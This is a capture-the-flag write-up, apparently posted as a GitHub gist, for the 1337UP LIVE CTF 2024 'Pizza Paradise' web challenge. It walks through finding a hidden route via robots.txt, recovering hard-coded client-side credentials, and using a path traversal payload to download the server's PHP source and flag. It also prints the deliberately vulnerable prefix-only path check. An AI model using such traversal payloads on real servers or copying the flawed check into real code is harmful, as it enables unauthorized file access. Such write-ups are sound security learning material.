Skip to content

Instantly share code, notes, and snippets.

@ky28059
Last active November 17, 2024 19:58
Show Gist options
  • Save ky28059/91df12b57366ef5ab356fb09239eb4d8 to your computer and use it in GitHub Desktop.
Save ky28059/91df12b57366ef5ab356fb09239eb4d8 to your computer and use it in GitHub Desktop.

1337UP LIVE CTF 2024 — Pizza Paradise

Something weird going on at this pizza store!!

https://pizzaparadise.ctf.intigriti.io

We're given a simple pizza chain website looking like this:

image

Looking at the source code, CSS, and images, nothing seems out of the ordinary. However, going to robots.txt,

image

Going to that suspicious route, we find a "top secret" login page looking like this:

image

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>Top Secret Government Access</title>
        <link
            href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"
            rel="stylesheet"
        />
        <link rel="stylesheet" href="/assets/css/secret-theme.css" />
        <script src="/assets/js/auth.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
        <script>
            function hashPassword(password) {
                return CryptoJS.SHA256(password).toString();
            }

            function validate() {
                const username = document.getElementById("username").value;
                const password = document.getElementById("password").value;

                const credentials = getCredentials();
                const passwordHash = hashPassword(password);

                if (
                    username === credentials.username &&
                    passwordHash === credentials.passwordHash
                ) {
                    return true;
                } else {
                    alert("Invalid credentials!");
                    return false;
                }
            }
        </script>
    </head>
    <body>
        <div class="container">
            <h1>Top Secret Government Access</h1>
            <form id="loginForm" action="login.php" method="POST" onsubmit="return validate();">
                <label for="username">Username:</label>
                <input type="text" id="username" name="username" required /><br />
                <label for="password">Password:</label>
                <input type="password" id="password" name="password" required /><br />
                <input type="submit" value="Login" />
            </form>
        </div>
    </body>
</html>

Trying some simple SQL injection payloads, nothing happens. But looking at the validate() code, because validation is done on the client side, we can find the credentials we need to match in auth.js:

const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";

function getCredentials() {
    return {
        username: validUsername,
        passwordHash: validPasswordHash,
    };
}

But what's the unhashed version of the password? We can try some sketchy online hash-cracker lookup websites, and to my surprise,

image

Then, we have our final credentials:

username: agent_1337
password: intel420

Logging in, we get to the "top secret government portal":

image

We can download four AI-generated images, but nothing seems off about them either. The realization here is that this page reveals a special route for downloading files:

image

We can try to download other topsecretx.png images, but none exist. We can also notice that any path not beginning with /assets/images/ fails with "path not allowed". Instead, we can finally apply path traversal to download the PHP handler for the admin portal endpoint,

https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=/assets/images/../../topsecret_a9aedc6c39f654e55275ad8e65e316b3.php

<?php

$flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';

if (isset($_GET['download'])) {
    $file = $_GET['download'];
    if (strpos($file, '/assets/images/') === 0) {
        $filePath = __DIR__ . '/' . $file;
        if (file_exists($filePath)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
            header('Content-Length: ' . filesize($filePath));
            readfile($filePath);
            exit();
        } else {
            die('File not found!');
        }
    } else {
        die('File path not allowed!');
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Top Secret Portal</title>
    <link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="/assets/css/secret-theme.css">
    <script src="/assets/js/displayImage.js"></script>
</head>
<body>
    <div class="container">
        <h1>Welcome to the Top Secret Government Portal</h1>
        <p>Authorized personnel only.</p>

        <img id="selectedImage" src="/assets/images/topsecret1.png" alt="Selected Image">

        <form method="GET" action="">
            <label for="image">Select Image to Download:</label>
            <select name="download" id="image" onchange="updateImage()">
                <option value="/assets/images/topsecret1.png">Image 1</option>
                <option value="/assets/images/topsecret2.png">Image 2</option>
                <option value="/assets/images/topsecret3.png">Image 3</option>
                <option value="/assets/images/topsecret4.png">Image 4</option>
            </select>
            <button type="submit">Download</button>
        </form>
    </div>
</body>
</html>

getting us the flag.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment